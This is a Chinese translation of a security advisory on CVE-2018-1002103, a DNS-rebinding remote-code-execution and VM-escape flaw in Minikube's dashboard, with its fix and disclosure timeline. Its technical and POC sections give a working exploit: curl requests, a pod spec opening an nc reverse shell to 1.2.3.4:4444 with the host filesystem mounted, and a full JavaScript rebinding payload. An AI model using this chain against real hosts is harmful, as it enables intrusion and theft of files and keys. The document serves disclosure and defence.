深入瞭解Minikube的遠端程式碼執行和虛擬機器逃逸漏洞(CVE-2018-1002103)
原文: ofollow,noindex">https://labs.mwrinfosecurity.com/advisories/minikube-rce/
Minikube上的Kubernetes儀表板服務存在DNS重繫結漏洞,攻擊者可以利用該漏洞對主機發動遠端程式碼執行攻擊。
- 受影響的產品:Minikube
- 漏洞的危害程度:高危
- CVE編號:CVE-2018-1002103
- 漏洞型別:遠端程式碼執行
漏洞描述
Minikube是人們進行Kubernetes本地測試和開發時的熱門之選,同時,它也是許多大型Kubernetes專案的個組成部分。
然而,Minikube上的Kubernetes儀表板服務很容易受到DNS重繫結攻擊,從而導致攻擊者能夠對主機作業系統發動遠端程式碼執行攻擊。
對於這個漏洞而言,攻擊者通常會通過惡意網頁加以利用,例如通過水坑攻擊或網路釣魚攻擊等。
漏洞的影響
攻擊者可以通過將deployment釋出到Kubernetes儀表板,從而實現針對Minikube VM的容器化遠端程式碼執行攻擊。當受害者使用VirtualBox、VMWare Fusion或Xhyve時,攻擊者也可以通過掛載主機使用者的主目錄來實現Minikube VM逃逸。
利用這種攻擊,攻擊者可以獲取對主機作業系統的持久訪問許可權。
漏洞成因分析
遠端程式碼執行
在預設情況下,正常安裝的Minikube會啟用Kubernetes儀表板,並可通過Minikube VM的埠30000/TCP進行訪問。由於Minikube VM本身只支援僅主機網路(host-only network)配置,因此,它只能供主機訪問。
但是,攻擊者仍然可以通過DNS重繫結攻擊,利用惡意網頁與儀表板進行互動。
如果存在DNS重繫結漏洞的話,攻擊者可以通過動態操縱域的DNS記錄,從而讓網頁繞過同源策略的限制。例如,為了傳遞惡意JavaScript有效載荷,可以首先將域attacker.com對映到一個外部IP地址(如1.2.3.4)。之後,可以將該域的A記錄重新對映到一個內部IP,例如192.168.99.100。這樣一來,JavaScript有效載荷就可以與內部IP進行通訊了,並且也不會違反同源策略了。
實際上,Minikube安裝的Kubernetes儀表板服務非常容易受到DNS重繫結漏洞的攻擊,這是因為:
- Minikube VM使用了可預測的IP地址(例如,VirtualBox使用的地址為192.168.99.100,Hyperkit使用的地址為192.168.64.1)
- 該服務在已知埠上執行,即30000/TCP埠
- 該服務沒有使用HTTPS協議
- 該服務沒有驗證HTTP Host頭部
虛擬機器逃逸漏洞
預設情況下,VirtualBox、VMWare Fusion和Xhyve的驅動程式將掛載主機使用者的主目錄。因此,攻擊者可以通過配置deployment,將主目錄從Minikube VM安裝到容器中。換句話說,這就使得攻擊者可以實現Minikube VM逃逸。下圖顯示了MacOS主機上的掛載鏈:
然後,攻擊者可以將使用者的.bash_profile後門化,或者通過檢索私鑰以獲得對其他系統的訪問權。
臨時解決方法
這個漏洞會影響0.30.0之前的Minikube版本。對於使用這些版本的使用者,我們建議讓Minikube禁用Kubernetes儀表板服務:
$ minikube addons disable dashboard
解決方案
該問題已在0.30.0版中得到了修復。所以,我們建議所有使用者升級至該版本。
其中,在新版本中,進行的修復包括:
- 通過kubectl代理而不是NodePort來公開服務
- 檢查入局HTTP請求中的Host頭部是否符合模式127.0.0.1:{port}
- 在隨機埠上公開儀表板服務
技術細節
惡意網頁首先觸發針對Kubernetes儀表板的DNS重繫結以繞過同源策略,如此一來,該頁面就能夠從儀表板中讀取響應資料了。
然後,該頁面會向/api/v1/csrftoken/appdeploymentfromfile發出GET請求,以從儀表板獲取deployment的有效CSRF令牌。下面給出了獲取CSRF令牌的相應curl請求:
$ curl http://192.168.99.100:30000/api/v1/csrftoken/appdeploymentfromfile { "token": "AQ_3pRIv6gjjoVkniBS9xK6tSqI:1538256679430" }
之後,該頁面可以將任意儀表板釋出到該儀表板,並使用上述令牌來設定X-CSRF-TOKEN頭部。例如,攻擊者可以建立一個帶有容器的deployment,並讓該容器將反向shell連接回攻擊者。此外,攻擊者可能還希望將主機使用者的主目錄安裝到容器中,從而可以直接開啟容器和管理程式。
下面的deployment將在1.2.3.4:4444埠建立一個反向連線至攻擊者的shell,同時,還會掛載MacOS使用者的主目錄:
apiVersion: v1 kind: Pod metadata: name: dns-rebind-rce-poc spec: containers: - name: busybox image: busybox:1.29.2 command: ["/bin/sh"] args: ["-c", "nc 1.2.3.4 4444 -e /bin/sh"] volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: /Users/ type: Directory
下面是用於建立這個deployment的curl請求:
$ curl 'http://192.168.99.100:30000/api/v1/appdeploymentfromfile' -H 'X-CSRF-TOKEN: eT3xz2k_26fNCBzPpIZ1-A1s-gE:1538254867049' -H 'Content-Type: application/json;charset=utf-8'--data '{"name":"","namespace":"default","content":"apiVersion: v1\nkind: Pod\nmetadata:\nname: dns-rebind-rce-poc\nspec:\ncontainers:\n- name: busybox\nimage: busybox:1.29.2\ncommand: [\"/bin/sh\"]\nargs: [\"-c\", \"nc 1.2.3.4 4444 -e /bin/sh\"]\nvolumeMounts:\n- name: host\nmountPath: /host\nvolumes:\n- name: host\nhostPath:\npath: /\ntype: Directory\n","validate":true}'
通過上述請求,攻擊者將收到一個可以訪問主目錄的反向shell:
~# nc -lvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from [4.3.2.1] port 4444 [tcp/*] accepted (family 2, sport 55593) ls -lh /host/Users/user/ total 124 drwxr-xr-x1 100110011.8K Sep 29 14:19 . drwxr-xr-x1 10011001160 Mar 302018 .. drwx------1 1001100196 Aug 27 10:04 Applications drwx------1 10011001128 Sep 24 17:45 Desktop drwx------1 10011001160 Aug8 18:29 Documents drwx------1 100110011.2K Sep 29 17:14 Downloads drwx------1 100110011.9K Jun 12 11:16 Library drwx------1 1001100196 Mar 302018 Movies drwx------1 10011001128 Apr1 13:38 Music drwx------1 10011001320 Sep6 07:27 Pictures drwxr-xr-x1 10011001544 Sep 29 12:54 Projects drwxr-xr-x1 10011001128 Mar 302018 Public drwxr-xr-x1 1001100196 Mar 302018 Scripts drwxr-xr-x1 10011001128 May 27 21:46 VirtualBox VMs
POC
本節使用MWR的DNS重繫結漏洞利用框架 dref 來演示攻擊過程。
為了進行攻擊,應修改docker-compose.yml以公開30000/TCP埠:
services: api: ... ports: - 0.0.0.0:80:80 - 0.0.0.0:30000:30000
此外,我們還應修改dref-config.yml,建立指向自定義的Minikube有效載荷的子域:
targets: - target: "minikube" script: "minikube"
最後,將自定義的有效載荷儲存到dref/scripts/src/payloads/minikube.js指令碼中:
import NetMap from 'netmap.js' import * as network from '../libs/network' import Session from '../libs/session' // hosts and ports to check for Kubernetes dashboard const hosts = ['192.168.99.100'] const ports = [30000] // paths for fetching CSRF token and POSTing the deployment const tokenPath = '/api/v1/csrftoken/appdeploymentfromfile' const deployPath = '/api/v1/appdeploymentfromfile' // payload to deploy const deployment = `apiVersion: v1 kind: Pod metadata: name: dns-rebind-rce-poc spec: containers: - name: busybox image: busybox:1.29.2 command: ["/bin/sh"] args: ["-c", "nc 1.2.3.4 4444 -e /bin/sh"] volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory ` const session = new Session() const netmap = new NetMap() // this function runs first on the original page // it'll scan hosts/ports and open an iFrame for the rebind attack async function main () { netmap.tcpScan(hosts, ports).then(results => { for (let h of results.hosts) { for (let p of h.ports) { if (p.open) session.createRebindFrame(h.host, p.port) } } }) } // this function funs in rebinding iframes function rebind () { // after this, the Origin maps to the Kubernetes dashboard host:port session.triggerRebind().then(() => { network.get(session.baseURL + tokenPath, { successCb: (code, headers, body) => { const token = JSON.parse(body).token network.postJSON(session.baseURL + deployPath, { 'name': '', 'namespace': 'default', 'validate': true, 'content': deployment }, { headers: { 'X-CSRF-TOKEN': token } }) } }) }) } if (window.args && window.args._rebind) rebind() else main()
當Minikube使用者訪問 http://minikube.{dref_domain}.com
連結時,就會遭到攻擊,並會通過1.2.3.4:4444向攻擊者提供一個安裝了主機檔案系統的反向shell。
漏洞修復程序
- 2018-09-29:將漏洞提交給Kubernetes。
- 2018-10-02:Kubernetes對此給予確認。
- 2018-10-04:Kubernetes表示將在第二天釋出的新版本中修復該漏洞。
- 2018-10-05:修復了本漏洞的Minikube 0.30.0釋出補救措施。
參考資料
- GitHub issue
- Commit remediating issue